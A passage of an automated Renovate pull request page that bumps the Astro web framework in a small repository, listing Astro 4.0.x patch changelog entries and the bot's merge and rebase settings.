[@&#8203;matthewp](https://github.com/matthewp)! - Error when getImage is passed an undefined src - [#&#8203;9424](https://github.com/withastro/astro/pull/9424) [`e1a5a2d36`](https://github.com/withastro/astro/commit/e1a5a2d36ac3637f5c94a27b69128a121541bae8) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Prevents dev server from crashing on unhandled rejections, and adds a helpful error message - [#&#8203;9404](https://github.com/withastro/astro/pull/9404) [`8aa17a64b`](https://github.com/withastro/astro/commit/8aa17a64b46b8eaabfd1375fd6550ff93727aa81) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixed some newer HTML attributes not being included in our type definitions - [#&#8203;9414](https://github.com/withastro/astro/pull/9414) [`bebf38c0c`](https://github.com/withastro/astro/commit/bebf38c0cb539de04007f5e721bf459300b895a1) Thanks [@&#8203;Skn0tt](https://github.com/Skn0tt)! - Adds the feature name to logs about feature deprecation / experimental status. - [#&#8203;9418](https://github.com/withastro/astro/pull/9418) [`2c168af67`](https://github.com/withastro/astro/commit/2c168af6745f5357e76ec323787595ef06d5fd73) Thanks [@&#8203;alexnguyennz](https://github.com/alexnguyennz)! - Fix broken link in CI instructions - [#&#8203;9407](https://github.com/withastro/astro/pull/9407) [`546d92c86`](https://github.com/withastro/astro/commit/546d92c862d08c69751039511a12c92ae38184c2) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Allows file URLs as import specifiers ### [`v4.0.4`](https://github.com/withastro/astro/releases/tag/astro%404.0.4) [Compare Source](https://github.com/withastro/astro/compare/astro@4.0.3...astro@4.0.4) ##### Patch Changes - [#&#8203;9380](https://github.com/withastro/astro/pull/9380) [`ea0918259`](https://github.com/withastro/astro/commit/ea0918259964947523827bac6abe88ad3841dbb9) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Correctly handle the rendering of i18n routes when `output: "hybrid"` is set - [#&#8203;9374](https://github.com/withastro/astro/pull/9374) [`65ddb0271`](https://github.com/withastro/astro/commit/65ddb027111514d41481f7455c0f0f03f8f608a8) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes an issue where prerendered route paths that end with `.mjs` were removed from the final build - [#&#8203;9375](https://github.com/withastro/astro/pull/9375) [`26f7023d6`](https://github.com/withastro/astro/commit/26f7023d6928de75c363df0fa759a6255cb73ef3) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Prettifies generated route names injected by integrations - [#&#8203;9387](https://github.com/withastro/astro/pull/9387) [`a7c75b333`](https://github.com/withastro/astro/commit/a7c75b3339e6b1562d0d16ab6ef482840c51df68) Thanks [@&#8203;natemoo-re](https://github.com/natemoo-re)! - Fixes an edge case with `astro add` that could install a prerelease instead of a stable release version. **Prior to this change** `astro add svelte` installs `svelte@5.0.0-next.22` **After this change** `astro add svelte` installs `svelte@4.2.8` - Updated dependencies \[[`270c6cc27`](https://github.com/withastro/astro/commit/270c6cc27f20995883fcdabbff9b56d7f041f9e4)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;4.0.1 ### [`v4.0.3`](https://github.com/withastro/astro/releases/tag/astro%404.0.3) [Compare Source](https://github.com/withastro/astro/compare/astro@4.0.2...astro@4.0.3) ##### Patch Changes - [#&#8203;9342](https://github.com/withastro/astro/pull/9342) [`eb942942d`](https://github.com/withastro/astro/commit/eb942942d67508c07d7efaa859a7840f7c0223da) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fix missing `is:inline` type for the `<slot />` element - [#&#8203;9343](https://github.com/withastro/astro/pull/9343) [`ab0281aee`](https://github.com/withastro/astro/commit/ab0281aee419e58c6079ca393987fe1ff0541dd5) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Adds source file properties to HTML elements only if devToolbar is enabled - [#&#8203;9336](https://github.com/withastro/astro/pull/9336) [`c76901065`](https://github.com/withastro/astro/commit/c76901065545f6a8d3de3e44d1c8ee5456a8a77a) Thanks [@&#8203;FredKSchott](https://github.com/FredKSchott)! - dev: fix issue where 404 and 500 responses were logged as 200 - [#&#8203;9339](https://github.com/withastro/astro/pull/9339) [`0bb3d5322`](https://github.com/withastro/astro/commit/0bb3d532219fb90fc08bfb472fc981fab6543d16) Thanks [@&#8203;morinokami](https://github.com/morinokami)! - Fixed the log message to correctly display 'enabled' and 'disabled' when toggling 'Disable notifications' in the Toolbar. ### [`v4.0.2`](https://github.com/withastro/astro/releases/tag/astro%404.0.2) [Compare Source](https://github.com/withastro/astro/compare/astro@4.0.1...astro@4.0.2) ##### Patch Changes - [#&#8203;9331](https://github.com/withastro/astro/pull/9331) [`cfb20550d`](https://github.com/withastro/astro/commit/cfb20550d346a33e76e23453d5dcd084e5065c4d) Thanks [@&#8203;natemoo-re](https://github.com/natemoo-re)! - Updates an internal dependency ([`vitefu`](https://github.com/svitejs/vitefu)) to avoid a common `peerDependency` warning - [#&#8203;9327](https://github.com/withastro/astro/pull/9327) [`3878a91be`](https://github.com/withastro/astro/commit/3878a91be4879988c7235f433e50a6dc82e32288) Thanks [@&#8203;doseofted](https://github.com/doseofted)! - Fixes an edge case for `<form method="dialog">` when using View Transitions. Forms with `method="dialog"` no longer require an additional `data-astro-reload` attribute. ### [`v4.0.1`](https://github.com/withastro/astro/releases/tag/astro%404.0.1) [Compare Source](https://github.com/withastro/astro/compare/astro@4.0.0...astro@4.0.1) ##### Patch Changes - [#&#8203;9315](https://github.com/withastro/astro/pull/9315) [`631e5d01b`](https://github.com/withastro/astro/commit/631e5d01b00efee6970466c38201cb0e67ec74cf) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where logs that weren't grouped together by route when building the app. </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMjQuMCIsInVwZGF0ZWRJblZlciI6IjQzLjIyNC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJzZWN1cml0eSJdfQ==-->
Richard Banks deleted branch renovate/npm-astro-vulnerability 2026-06-18 04:28:51 +00:00
Commenting is not possible because the repository is archived.
No reviewers
No labels
No milestone
No project
No assignees
1 participant
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
richard/astro-loader-youtube!86
No description provided.